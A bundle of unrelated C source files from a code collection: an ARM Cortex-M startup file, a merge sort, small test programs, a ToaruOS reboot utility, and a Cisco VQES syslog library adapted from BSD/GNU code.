extern uint32_t __bss_end__;
extern uint32_t __StackTop;
/*----------------------------------------------------------------------------
Exception / Interrupt Handler Function Prototype
*----------------------------------------------------------------------------*/
typedef void( *pFunc )( void );
/*----------------------------------------------------------------------------
External References
*----------------------------------------------------------------------------*/
#ifndef __START
extern void _start(void) __attribute__((noreturn)); /* Pre Main (C library entry point) */
#else
extern int __START(void) __attribute__((noreturn)); /* main entry point */
#endif
#ifndef __NO_SYSTEM_INIT
extern void SystemInit (void); /* CMSIS System Initialization */
#endif
/*----------------------------------------------------------------------------
Internal References
*----------------------------------------------------------------------------*/
void Default_Handler(void); /* Default empty handler */
void Reset_Handler(void); /* Reset Handler */
/*----------------------------------------------------------------------------
User Initial Stack & Heap
*----------------------------------------------------------------------------*/
#ifndef __STACK_SIZE
#define __STACK_SIZE 0x00000400
#endif
static uint8_t stack[__STACK_SIZE] __attribute__ ((aligned(8), used, section(".stack")));
#ifndef __HEAP_SIZE
#define __HEAP_SIZE 0x00000C00
#endif
#if __HEAP_SIZE > 0
static uint8_t heap[__HEAP_SIZE] __attribute__ ((aligned(8), used, section(".heap")));
#endif
/*----------------------------------------------------------------------------
Exception / Interrupt Handler
*----------------------------------------------------------------------------*/
/* Cortex-M Processor Exceptions */
void NMI_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void HardFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void MemManage_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void BusFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void UsageFault_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void DebugMon_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void SVC_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void PendSV_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
void SysTick_Handler (void) __attribute__ ((weak, alias("Default_Handler")));
/* Part Specific Interrupts */
void EMU_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void FRC_PRI_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void WDOG0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void WDOG1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void FRC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void MODEM_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void RAC_SEQ_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void RAC_RSM_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void BUFC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LDMA_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void GPIO_EVEN_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART0_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART0_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void ACMP0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void ADC0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void IDAC0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void I2C0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void GPIO_ODD_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TIMER1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART1_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART1_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LEUART0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CMU_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void MSC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CRYPTO0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LETIMER0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void AGC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PROTIMER_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void RTCC_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void SYNTH_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CRYOTIMER_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void RFSENSE_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void FPUEH_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void SMU_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void WTIMER0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void WTIMER1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void PCNT2_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART2_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART2_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void I2C1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART3_RX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void USART3_TX_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void VDAC0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CSEN_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void LESENSE_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void CRYPTO1_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
void TRNG0_IRQHandler(void) __attribute__ ((weak, alias("Default_Handler")));
/*----------------------------------------------------------------------------
Exception / Interrupt Vector table
*----------------------------------------------------------------------------*/
const pFunc __Vectors[] __attribute__ ((section(".vectors"))) = {
/* Cortex-M Exception Handlers */
(pFunc)&__StackTop, /* Initial Stack Pointer */
Reset_Handler, /* Reset Handler */
NMI_Handler, /* NMI Handler */
HardFault_Handler, /* Hard Fault Handler */
MemManage_Handler, /* MPU Fault Handler */
BusFault_Handler, /* Bus Fault Handler */
UsageFault_Handler, /* Usage Fault Handler */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
Default_Handler, /* Reserved */
SVC_Handler, /* SVCall Handler */
DebugMon_Handler, /* Debug Monitor Handler */
Default_Handler, /* Reserved */
PendSV_Handler, /* PendSV Handler */
SysTick_Handler, /* SysTick Handler */
/* External interrupts */
EMU_IRQHandler, /* 0 - EMU */
FRC_PRI_IRQHandler, /* 1 - FRC_PRI */
WDOG0_IRQHandler, /* 2 - WDOG0 */
WDOG1_IRQHandler, /* 3 - WDOG1 */
FRC_IRQHandler, /* 4 - FRC */
MODEM_IRQHandler, /* 5 - MODEM */
RAC_SEQ_IRQHandler, /* 6 - RAC_SEQ */
RAC_RSM_IRQHandler, /* 7 - RAC_RSM */
BUFC_IRQHandler, /* 8 - BUFC */
LDMA_IRQHandler, /* 9 - LDMA */
GPIO_EVEN_IRQHandler, /* 10 - GPIO_EVEN */
TIMER0_IRQHandler, /* 11 - TIMER0 */
USART0_RX_IRQHandler, /* 12 - USART0_RX */
USART0_TX_IRQHandler, /* 13 - USART0_TX */
ACMP0_IRQHandler, /* 14 - ACMP0 */
ADC0_IRQHandler, /* 15 - ADC0 */
IDAC0_IRQHandler, /* 16 - IDAC0 */
I2C0_IRQHandler, /* 17 - I2C0 */
GPIO_ODD_IRQHandler, /* 18 - GPIO_ODD */
TIMER1_IRQHandler, /* 19 - TIMER1 */
USART1_RX_IRQHandler, /* 20 - USART1_RX */
USART1_TX_IRQHandler, /* 21 - USART1_TX */
LEUART0_IRQHandler, /* 22 - LEUART0 */
PCNT0_IRQHandler, /* 23 - PCNT0 */
CMU_IRQHandler, /* 24 - CMU */
MSC_IRQHandler, /* 25 - MSC */
CRYPTO0_IRQHandler, /* 26 - CRYPTO0 */
LETIMER0_IRQHandler, /* 27 - LETIMER0 */
AGC_IRQHandler, /* 28 - AGC */
PROTIMER_IRQHandler, /* 29 - PROTIMER */
RTCC_IRQHandler, /* 30 - RTCC */
SYNTH_IRQHandler, /* 31 - SYNTH */
CRYOTIMER_IRQHandler, /* 32 - CRYOTIMER */
RFSENSE_IRQHandler, /* 33 - RFSENSE */
FPUEH_IRQHandler, /* 34 - FPUEH */
SMU_IRQHandler, /* 35 - SMU */
WTIMER0_IRQHandler, /* 36 - WTIMER0 */
WTIMER1_IRQHandler, /* 37 - WTIMER1 */
PCNT1_IRQHandler, /* 38 - PCNT1 */
PCNT2_IRQHandler, /* 39 - PCNT2 */
USART2_RX_IRQHandler, /* 40 - USART2_RX */
USART2_TX_IRQHandler, /* 41 - USART2_TX */
I2C1_IRQHandler, /* 42 - I2C1 */
USART3_RX_IRQHandler, /* 43 - USART3_RX */
USART3_TX_IRQHandler, /* 44 - USART3_TX */
VDAC0_IRQHandler, /* 45 - VDAC0 */
CSEN_IRQHandler, /* 46 - CSEN */
LESENSE_IRQHandler, /* 47 - LESENSE */
CRYPTO1_IRQHandler, /* 48 - CRYPTO1 */
TRNG0_IRQHandler, /* 49 - TRNG0 */
Default_Handler, /* 50 - Reserved */
};
/*----------------------------------------------------------------------------
Reset Handler called on controller reset
*----------------------------------------------------------------------------*/
void Reset_Handler(void) {
uint32_t *pSrc, *pDest;
uint32_t *pTable __attribute__((unused));
#ifndef __NO_SYSTEM_INIT
SystemInit();
#endif
/* Firstly it copies data from read only memory to RAM. There are two schemes
* to copy. One can copy more than one sections. Another can only copy
* one section. The former scheme needs more instructions and read-only
* data to implement than the latter.
* Macro __STARTUP_COPY_MULTIPLE is used to choose between two schemes. */
#ifdef __STARTUP_COPY_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __copy_table_start__ and __copy_table_end__,
* there are array of triplets, each of which specify:
* offset 0: LMA of start of a section to copy from
* offset 4: VMA of start of a section to copy to
* offset 8: size of the section to copy. Must be multiply of 4
*
* All addresses must be aligned to 4 bytes boundary.
*/
pTable = &__copy_table_start__;
for (; pTable < &__copy_table_end__; pTable = pTable + 3)
{
pSrc = (uint32_t*)*(pTable + 0);
pDest = (uint32_t*)*(pTable + 1);
for (; pDest < (uint32_t*)(*(pTable + 1) + *(pTable + 2)) ; )
{
*pDest++ = *pSrc++;
}
}
#else
/* Single section scheme.
*
* The ranges of copy from/to are specified by following symbols
* __etext: LMA of start of the section to copy from. Usually end of text
* __data_start__: VMA of start of the section to copy to
* __data_end__: VMA of end of the section to copy to
*
* All addresses must be aligned to 4 bytes boundary.
*/
pSrc = &__etext;
pDest = &__data_start__;
for ( ; pDest < &__data_end__ ; )
{
*pDest++ = *pSrc++;
}
#endif /*__STARTUP_COPY_MULTIPLE */
/* This part of work usually is done in C library startup code. Otherwise,
* define this macro to enable it in this startup.
*
* There are two schemes too. One can clear multiple BSS sections. Another
* can only clear one section. The former is more size expensive than the
* latter.
*
* Define macro __STARTUP_CLEAR_BSS_MULTIPLE to choose the former.
* Otherwise efine macro __STARTUP_CLEAR_BSS to choose the later.
*/
#ifdef __STARTUP_CLEAR_BSS_MULTIPLE
/* Multiple sections scheme.
*
* Between symbol address __zero_table_start__ and __zero_table_end__,
* there are array of tuples specifying:
* offset 0: Start of a BSS section
* offset 4: Size of this BSS section. Must be multiply of 4
*/
pTable = &__zero_table_start__;
for (; pTable < &__zero_table_end__; pTable = pTable + 2)
{
pDest = (uint32_t*)*(pTable + 0);
for (; pDest < (uint32_t*)(*(pTable + 0) + *(pTable + 1)) ; )
{
*pDest++ = 0;
}
}
#elif defined (__STARTUP_CLEAR_BSS)
/* Single BSS section scheme.
*
* The BSS section is specified by following symbols
* __bss_start__: start of the BSS section.
* __bss_end__: end of the BSS section.
*
* Both addresses must be aligned to 4 bytes boundary.
*/
pDest = &__bss_start__;
for ( ; pDest < &__bss_end__ ; )
{
*pDest++ = 0ul;
}
#endif /* __STARTUP_CLEAR_BSS_MULTIPLE || __STARTUP_CLEAR_BSS */
#ifndef __START
#define __START _start
#endif
__START();
}
/*----------------------------------------------------------------------------
Default Handler for Exceptions / Interrupts
*----------------------------------------------------------------------------*/
void Default_Handler(void)
{
while(1);
}
|
the_stack_data/18888230.c | #include <stdio.h>
#include <stdlib.h>
#include <limits.h>
/*
* Merge Sort
* BottomUp Approach
* Page no : 30 - 34, CLRS
*
*
*/
void merge(int *A, int f, int l, int mid){
int a1,a2,i,j,k;
int L[100],R[100];
a1 = mid - f + 1;
a2 = l - mid;
for(i = 1 ; i <= a1; i++)
L[i] = A[f + i - 1];
L[i+1] = INT_MAX;
for(j = 1 ; j <= a2; j++)
R[j] = A[ mid + j];
R[j + 1] = INT_MAX;
i = 1;
j = 1;
k = f;
while(i <= a1 && j <= a2)
{
if(L[i] <= R[j]){
A[k] = L[i];
i++;
}
else{
A[k] = R[j];
j++;
}
k++;
}
while(i <= a1){
A[k] = L[i];
i++;
k++;
}
while(j <= a2){
A[k] = R[j];
j++;
k++;
}
}
void mergeSort(int *A,int f, int l){
int mid;
mid = ( f + l ) / 2;
if(f < l){
mergeSort(A,f,mid);
mergeSort(A,mid+1,l);
merge(A,f,l,mid);
}
}
int main(){
printf("\n");
int a[] = {5, 7, 4, 2, 40, 53, 99, 44, 1};
int size;
size = sizeof(a)/sizeof(a[0]);
mergeSort(a,0,size-1);
printf("Sorted Array\n");
for(int i = 0; i < size; i++)
printf("%d ", a[i]);
printf("\n");
return 0;
}
|
the_stack_data/176707101.c | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define CUBE(x) (x*x*x)
int main()
{
int a[5] = {2,3};
printf("%d%d%d",a[2],a[3],a[4]);
return 0;
}
|
the_stack_data/200142480.c | /**
* @brief (Try to) reboot the system.
*
* Note that only root can syscall_reboot, and this doesn't
* do any fancy setuid stuff.
*
* @copyright
* This file is part of ToaruOS and is released under the terms
* of the NCSA / University of Illinois License - see LICENSE.md
* Copyright (C) 2013-2014 K. Lange
*/
#include <stdio.h>
#include <syscall.h>
int main(int argc, char ** argv) {
if (syscall_reboot() < 0) {
printf("%s: permission denied\n", argv[0]);
}
return 1;
}
|
the_stack_data/820703.c | #include <assert.h>
#include <ctype.h>
int main()
{
assert(tolower('!') == '!');
assert(tolower('A') == 'a');
assert(tolower('M') == 'm');
assert(tolower('Z') == 'z');
assert(tolower('a') == 'a');
assert(tolower('m') == 'm');
assert(tolower('z') == 'z');
return 0;
}
|
the_stack_data/112099.c | /********************************************************************
* vqes_syslog.c
*
* Adapted from GNU inetutils 1.4.2 syslog.c to support custom
* VQES syslog facilities
*
* Copyright (c) 2007-2008 by Cisco Systems, Inc.
* All rights reserved.
*
*********************************************************************/
/*
* Copyright (c) 1983, 1988, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char sccsid[] = "@(#)syslog.c 8.4 (Berkeley) 3/18/94";
#endif /* LIBC_SCCS and not lint */
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#define _GNU_SOURCE /* for open_memstream() */
#define IOVEC_COUNT 2
#define DATESTRING_LEN 256
#include <sys/types.h>
#include <sys/socket.h>
//#include <sys/syslog.h> // Use VQES syslog.h
#include <sys/uio.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <paths.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <stdarg.h>
#include <pthread.h>
#if HAVE_SYSLOG /* nominal syslog code block */
/* VQES specific includes */
#include <log/syslog_facility_num.h>
#include <log/syslog_all_const.h>
#include <log/syslog.h>
/* declarations for multiple syslogging FDs */
#define SYSLOG_FDS_MAX 10
static int fds[SYSLOG_FDS_MAX];
static int num_fds;
static int LogType = SOCK_DGRAM; /* type of socket connection */
static int LogFile = -1; /* fd for log */
static int connected; /* have done connect */
static int LogStat = 0; /* status bits, set by openlog() */
static const char *LogTag = NULL; /* string to tag the entry with */
static int LogFacility = LOG_USER; /* default facility code */
static int LogMask = 0xff; /* mask of priorities to be logged */
extern char *__progname; /* Program name, from crt0. */
/* Forward declarations */
static void openlog_internal(const char *, int, int, int[], int);
static void closelog_internal(void);
static void sigpipe_handler(int);
/* Define the lock for syslog routines */
static pthread_mutex_t syslog_lock = PTHREAD_MUTEX_INITIALIZER;
void vqes_syslog_lock_lock (void)
{
pthread_mutex_lock(&syslog_lock);
}
void vqes_syslog_lock_unlock (void)
{
pthread_mutex_unlock(&syslog_lock);
}
/*
* vqes_syslog_cli --
* this is just a stub for the method used by vqec to print
* to the CLI. this is needed here for components outside
* of vqec that use vqes_syslog_cli() to link properly.
* FIXME: this should be fixed after the new build structure
* with a separate vqec build target is rolled out.
*/
void vqes_vsyslog_cli(int, const char*, va_list);
void
vqes_syslog_cli (int pri, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vqes_vsyslog(pri, fmt, ap);
va_end(ap);
}
/*
* syslog, vsyslog --
* print message on log file; output is intended for syslogd(8).
*/
/* Forward declaration */
void vqes_vsyslog(int, const char*, va_list);
/* Locked version */
void
vqes_syslog (int pri, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vqes_vsyslog(pri, fmt, ap);
va_end(ap);
}
void
vqes_vsyslog (int pri, register const char *fmt, va_list ap)
{
struct tm now_tm;
FILE *f;
size_t prioff;
time_t now;
int fd;
char *buf = 0;
size_t bufsize = 0;
size_t msgoff;
struct sigaction action, oldaction;
struct sigaction *oldaction_ptr = NULL;
int sigpipe;
#define INTERNALLOG LOG_ERR|LOG_CONS|LOG_PERROR|LOG_PID
/* Check for invalid bits. */
if (pri & ~(LOG_PRIMASK|LOG_FACMASK)) {
vqes_syslog(INTERNALLOG,
"syslog: unknown facility/priority: %x", pri);
pri &= LOG_PRIMASK|LOG_FACMASK;
}
/* Check priority against setlogmask values. */
if ((LOG_MASK(LOG_PRI(pri)) & LogMask) == 0)
return;
/* Set default facility if none specified. */
if ((pri & LOG_FACMASK) == 0)
pri |= LogFacility;
/* Build the message in a memory-buffer stream. */
f = open_memstream(&buf, &bufsize);
prioff = fprintf(f, "<%d>", pri);
(void) time(&now);
char datestring[DATESTRING_LEN];
(void)strftime(datestring, DATESTRING_LEN,
"%h %e %T", localtime_r(&now, &now_tm));
fprintf(f, "%s ", datestring);
msgoff = ftell(f);
if (LogTag == NULL)
LogTag = __progname;
if (LogTag != NULL)
fputs(LogTag, f);
if (LogStat & LOG_PID)
fprintf(f, "[%d]", getpid());
if (LogTag != NULL)
(void)putc(':', f), (void)putc(' ', f);
/* We have the header. Print the user's format into the buffer. */
vfprintf(f, fmt, ap);
/* Close the memory stream; this will finalize the data
into a malloc'd buffer in BUF. */
fclose(f);
/* Output to stderr if requested. */
if (LogStat & LOG_PERROR) {
struct iovec iov[IOVEC_COUNT];
register struct iovec *v = iov;
v->iov_base = buf + msgoff;
v->iov_len = bufsize - msgoff;
++v;
v->iov_base = (char *) "\n";
v->iov_len = 1;
(void)writev(STDERR_FILENO, iov, IOVEC_COUNT);
}
/* Prepare for multiple users. We have to take care: open and
write are cancellation points. */
vqes_syslog_lock_lock();
/* Prepare for a broken connection. */
memset(&action, 0, sizeof(action));
action.sa_handler = sigpipe_handler;
(void)sigemptyset(&action.sa_mask);
sigpipe = sigaction(SIGPIPE, &action, &oldaction);
if (sigpipe == 0)
oldaction_ptr = &oldaction;
/* Get connected, output the message to the local logger. */
if (!connected)
openlog_internal(LogTag, LogStat | LOG_NDELAY, 0, NULL, 0);
/* If we have a SOCK_STREAM connection, also send ASCII NUL as
a record terminator. */
if (LogType == SOCK_STREAM)
++bufsize;
/* first, send buf to default fd, LogFile */
if (send(LogFile, buf, bufsize, 0) < 0) {
closelog_internal(); /* attempt re-open next time */
/*
* Output the message to the console; don't worry about blocking,
* if console blocks everything will. Make sure the error reported
* is the one from the syslogd failure.
*/
if (LogStat & LOG_CONS &&
(fd = open(_PATH_CONSOLE, O_WRONLY, 0)) >= 0) {
/* GNU extension */
dprintf(fd, "%s\r\n", buf + msgoff);
(void)close(fd);
}
}
/* then, send it to the other specified FDs */
int i;
for (i = 0 ; i < num_fds ; i++) {
if (write(fds[i], buf, bufsize) < 0) {
closelog_internal(); /* attempt re-open next time */
/*
* Output the message to the console; don't worry about
* blocking, if console blocks everything will. Make sure the
* error reported is the one from the syslogd failure.
*/
if (LogStat & LOG_CONS &&
(fd = open(_PATH_CONSOLE, O_WRONLY, 0)) >= 0) {
dprintf(fd, "%s\r\n", buf + msgoff);
(void)close(fd);
}
}
}
if (sigpipe == 0)
(void)sigaction(SIGPIPE, &oldaction, (struct sigaction *) NULL);
/* End of critical section. */
vqes_syslog_lock_unlock();
free(buf);
}
/* Un-locked version: the locking should be done in the calling functions */
static void
vqes_vsyslog_ul (int pri, register const char *fmt, va_list ap)
{
struct tm now_tm;
FILE *f;
size_t prioff;
time_t now;
int fd;
char *buf = 0;
size_t bufsize = 0;
size_t msgoff;
struct sigaction action, oldaction;
struct sigaction *oldaction_ptr = NULL;
int sigpipe;
#define INTERNALLOG LOG_ERR|LOG_CONS|LOG_PERROR|LOG_PID
/* Check for invalid bits. */
if (pri & ~(LOG_PRIMASK|LOG_FACMASK)) {
vqes_syslog(INTERNALLOG,
"syslog: unknown facility/priority: %x", pri);
pri &= LOG_PRIMASK|LOG_FACMASK;
}
/* Check priority against setlogmask values. */
if ((LOG_MASK(LOG_PRI(pri)) & LogMask) == 0)
return;
/* Set default facility if none specified. */
if ((pri & LOG_FACMASK) == 0)
pri |= LogFacility;
/* Build the message in a memory-buffer stream. */
f = open_memstream(&buf, &bufsize);
prioff = fprintf(f, "<%d>", pri);
(void) time(&now);
char datestring[DATESTRING_LEN];
(void)strftime(datestring, DATESTRING_LEN,
"%h %e %T", localtime_r(&now, &now_tm));
fprintf(f, "%s ", datestring);
msgoff = ftell(f);
if (LogTag == NULL)
LogTag = __progname;
if (LogTag != NULL)
fputs(LogTag, f);
if (LogStat & LOG_PID)
fprintf(f, "[%d]", getpid());
if (LogTag != NULL)
(void)putc(':', f), (void)putc(' ', f);
/* We have the header. Print the user's format into the buffer. */
vfprintf(f, fmt, ap);
/* Close the memory stream; this will finalize the data
into a malloc'd buffer in BUF. */
fclose(f);
/* Output to stderr if requested. */
if (LogStat & LOG_PERROR) {
struct iovec iov[IOVEC_COUNT];
register struct iovec *v = iov;
v->iov_base = buf + msgoff;
v->iov_len = bufsize - msgoff;
++v;
v->iov_base = (char *) "\n";
v->iov_len = 1;
(void)writev(STDERR_FILENO, iov, IOVEC_COUNT);
}
/* Prepare for a broken connection. */
memset(&action, 0, sizeof(action));
action.sa_handler = sigpipe_handler;
(void)sigemptyset(&action.sa_mask);
sigpipe = sigaction(SIGPIPE, &action, &oldaction);
if (sigpipe == 0)
oldaction_ptr = &oldaction;
/* Get connected, output the message to the local logger. */
if (!connected)
openlog_internal(LogTag, LogStat | LOG_NDELAY, 0, NULL, 0);
/* If we have a SOCK_STREAM connection, also send ASCII NUL as
a record terminator. */
if (LogType == SOCK_STREAM)
++bufsize;
/* first, send buf to default fd, LogFile */
if (send(LogFile, buf, bufsize, 0) < 0) {
closelog_internal(); /* attempt re-open next time */
/*
* Output the message to the console; don't worry about blocking,
* if console blocks everything will. Make sure the error reported
* is the one from the syslogd failure.
*/
if (LogStat & LOG_CONS &&
(fd = open(_PATH_CONSOLE, O_WRONLY, 0)) >= 0) {
/* GNU extension */
dprintf(fd, "%s\r\n", buf + msgoff);
(void)close(fd);
}
}
/* then, send it to the other specified FDs */
int i;
for (i = 0 ; i < num_fds ; i++) {
if (write(fds[i], buf, bufsize) < 0) {
closelog_internal(); /* attempt re-open next time */
/*
* Output the message to the console; don't worry about
* blocking, if console blocks everything will. Make sure the
* error reported is the one from the syslogd failure.
*/
if (LogStat & LOG_CONS &&
(fd = open(_PATH_CONSOLE, O_WRONLY, 0)) >= 0) {
dprintf(fd, "%s\r\n", buf + msgoff);
(void)close(fd);
}
}
}
if (sigpipe == 0)
(void)sigaction(SIGPIPE, &oldaction, (struct sigaction *) NULL);
free(buf);
}
/* Un-locked version: the locking should be done in the calling functions */
void
vqes_syslog_ul (int pri, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vqes_vsyslog_ul(pri, fmt, ap);
va_end(ap);
}
static struct sockaddr SyslogAddr; /* AF_UNIX address of local logger */
static void
openlog_internal (const char *ident, int logstat, int logfac,
int lfd[], int lnum_fds)
{
/* populate fds[] and num_fds with passed-in values */
if (lnum_fds > SYSLOG_FDS_MAX) {
lnum_fds = SYSLOG_FDS_MAX;
printf("max number of FDs for syslog exceeded!!\n");
}
num_fds = lnum_fds;
memcpy(fds, lfd, lnum_fds * sizeof(int));
if (ident != NULL)
LogTag = ident;
LogStat = logstat;
if (logfac != 0 && (logfac &~ LOG_FACMASK) == 0)
LogFacility = logfac;
while (1) {
if (LogFile == -1) {
SyslogAddr.sa_family = AF_UNIX;
(void)strncpy(SyslogAddr.sa_data, _PATH_LOG,
sizeof(SyslogAddr.sa_data));
if (LogStat & LOG_NDELAY) {
if ((LogFile = socket(AF_UNIX, LogType, 0))
== -1)
return;
(void)fcntl(LogFile, F_SETFD, 1);
}
}
if (LogFile != -1 && !connected) {
if (connect(LogFile, &SyslogAddr, sizeof(SyslogAddr)) == -1) {
int saved_errno = errno;
(void)close(LogFile);
LogFile = -1;
if (LogType == SOCK_DGRAM
&& saved_errno == EPROTOTYPE) {
/* retry with next SOCK_STREAM: */
LogType = SOCK_STREAM;
continue;
}
} else
connected = 1;
}
break;
}
}
void
vqes_openlog (const char *ident, int logstat, int logfac,
int fd[], int num_fds)
{
/* Protect against multiple users. */
vqes_syslog_lock_lock();
openlog_internal(ident, logstat, logfac, fd, num_fds);
/* Free the lock. */
vqes_syslog_lock_unlock();
}
static void
sigpipe_handler (int signo)
{
closelog_internal();
}
static void
closelog_internal (void)
{
(void)close(LogFile);
LogFile = -1;
connected = 0;
}
void
vqes_closelog (void)
{
/* Protect against multiple users. */
vqes_syslog_lock_lock();
closelog_internal();
memset(fds, 0, SYSLOG_FDS_MAX * sizeof(int));
num_fds = 0;
/* Free the lock. */
vqes_syslog_lock_unlock();
}
/* setlogmask -- set the log mask level */
int
vqes_setlogmask (int pmask)
{
int omask;
omask = LogMask;
if (pmask != 0)
LogMask = pmask;
return (omask);
}
#else /* else block for HAVE_SYSLOG, i.e., syslog is stubbed in this case */
/*
* syslog, vsyslog --
* print message on log file; output is intended for syslogd(8).
*/
/* Forward declaration */
void vqes_vsyslog (int, const char*, va_list);
void
vqes_syslog (int pri, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vqes_vsyslog(pri, fmt, ap);
va_end(ap);
}
void
vqes_vsyslog (int pri, register const char *fmt, va_list ap)
{
vprintf(fmt, ap);
}
void
vqes_openlog (const char *ident, int logstat, int logfac, int fd[],
int num_fds)
{
return;
}
void
vqes_closelog (void)
{
return;
}
int
vqes_setlogmask (int pmask)
{
return (pmask);
}
/*
* vqes_syslog_cli --
* this is just a stub for the method used by vqec to print
* to the CLI. this is needed here for components outside
* of vqec that use vqes_syslog_cli() to link properly.
* FIXME: this should be fixed after the new build structure
* with a separate vqec build target is rolled out.
*/
void vqes_vsyslog_cli(int, const char*, va_list);
void
vqes_syslog_cli(int pri, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vqes_vsyslog(pri, fmt, ap);
va_end(ap);
}
#endif /* end-of-if for HAVE_SYSLOG */
|
the_stack_data/929776.c | #define OS_UNKNOWN 0
#define OS_WINDOWS 1
#define OS_LINUX 2
#define OS_MACOS 3
#define OS_OPENBSD 4
#define OS_FREEBSD 5
#if defined(_WIN32)
#define OS_ID OS_WINDOWS
#elif defined(__linux__)
#define OS_ID OS_LINUX
#elif defined(__APPLE__)
#define OS_ID OS_MACOS
#elif defined(__OpenBSD__)
#define OS_ID OS_OPENBSD
#elif defined(__FreeBSD__)
#define OS_ID OS_FREEBSD
#else
#define OS_ID OS_UNKNOWN
#endif
int get_os_id()
{
return OS_ID;
}
|
the_stack_data/200143708.c |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
